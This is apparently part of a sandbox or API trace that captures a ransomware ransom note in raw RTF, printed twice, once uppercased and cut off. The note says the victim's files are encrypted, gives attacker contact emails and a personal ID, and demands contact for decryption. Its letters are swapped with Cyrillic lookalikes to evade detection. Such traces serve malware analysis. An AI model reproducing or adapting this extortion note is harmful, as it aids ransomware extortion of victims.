th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 [RDM_STR]\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchLength=0x3707 | out: lpsz="{\\RTF1\\ANSI\\ANSICPG1251\\DEFF0\\NOUICOMPAT\\DEFLANG1049{\\FONTTBL{\\F0\\FNIL\\FCHARSET0 CALIBRI;}{\\F1\\FNIL\\FCHARSET204 CALIBRI;}}\r\n{\\COLORTBL ;\\RED255\\GREEN0\\BLUE0;\\RED155\\GREEN0\\BLUE211;\\RED255\\GREEN255\\BLUE0;\\RED0\\GREEN176\\BLUE80;\\RED255\\GREEN255\\BLUE255;}\r\n{\\*\\GENERATOR RICHED20 10.0.15063}\\VIEWKIND4\\UC1 \r\n\\PARD\\RI-500\\SA200\\SL240\\SLMULT1\\QC\\TX8804\\UL\\B\\F0\\FS28\\LANG1033 SHIT H\\F1\\LANG1049\\'C0\\F0\\LANG1033 PPENS!\\ULNONE\\F1\\LANG1049\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\QC\\TX8378\\F0\\FS24\\LANG1033 WE H\\F1\\LANG1049\\'C0\\F0\\LANG1033 VE T\\F1\\LANG1049\\'CE\\F0\\LANG1033 INF\\F1\\LANG1049\\'CE\\F0\\LANG1033 RM Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 U TH\\F1\\LANG1049\\'C0\\F0\\LANG1033 T \\F1\\LANG1049\\'C0\\F0\\LANG1033 LL Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 UR FILES WERE ENCRYPTED!\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\TX8378\\CF1\\PAR\r\n\\CF0 PLE\\F1\\LANG1049\\'C0\\F0\\LANG1033 SE BE SURE, Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 UR FILES \\F1\\LANG1049\\'C0\\F0\\LANG1033 RE N\\F1\\LANG1049\\'CE\\F0\\LANG1033 T BR\\F1\\LANG1049\\'CE\\F0\\LANG1033 KEN!\\B0\\PAR\r\n\\I Y\\F1\\LANG1049\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S W\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'E5\\F0\\LANG1033 D WITH STR\\F1\\LANG1049\\'EE\\F0\\LANG1033 NG \\F1\\LANG1049\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LG\\F1\\LANG1049\\'EE\\F0\\LANG1033 RITHMS.\\I0\\PAR\r\n\\I * PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T TH\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 IS N\\F1\\LANG1049\\'EE\\F0\\LANG1033 W\\F1\\LANG1049\\'E0\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S WITH\\F1\\LANG1049\\'EE\\F0\\LANG1033 UT UNIQU\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N K\\F1\\LANG1049\\'E5\\'F3\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND SP\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 I\\F1\\LANG1049\\'E0\\F0\\LANG1033 L S\\F1\\LANG1049\\'EE\\F0\\LANG1033 FTW\\F1\\LANG1049\\'E0\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 . Y\\F1\\LANG1049\\'EE\\F0\\LANG1033 UR UNIQU\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N K\\F1\\LANG1049\\'E5\\'F3\\F0\\LANG1033 IS S\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 UR\\F1\\LANG1049\\'E5\\F0\\LANG1033 L\\F1\\LANG1049\\'F3\\F0\\LANG1033 ST\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 D \\F1\\LANG1049\\'EE\\F0\\LANG1033 N \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR S\\F1\\LANG1049\\'E5\\F0\\LANG1033 RV\\F1\\LANG1049\\'E5\\F0\\LANG1033 R.\\PAR\r\n* T\\F1\\LANG1049\\'EE\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U N\\F1\\LANG1049\\'E5\\'E5\\F0\\LANG1033 D \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR SP\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 IFI\\F1\\LANG1049\\'F1\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 UT\\F1\\LANG1049\\'EE\\F0\\LANG1033 M\\F1\\LANG1049\\'E0\\F0\\LANG1033 TI\\F1\\LANG1049\\'F1\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N T\\F1\\LANG1049\\'EE\\'EE\\F0\\LANG1033 L \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR UNIQU\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N K\\F1\\LANG1049\\'E5\\'F3\\F0\\LANG1033 .\\PAR\r\n* \\F1\\LANG1049\\'C0\\F0\\LANG1033 LL \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S W\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 M\\F1\\LANG1049\\'E5\\F0\\LANG1033 D BUT \\F1\\LANG1049\\'E0\\F0\\LANG1033 FT\\F1\\LANG1049\\'E5\\F0\\LANG1033 R D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 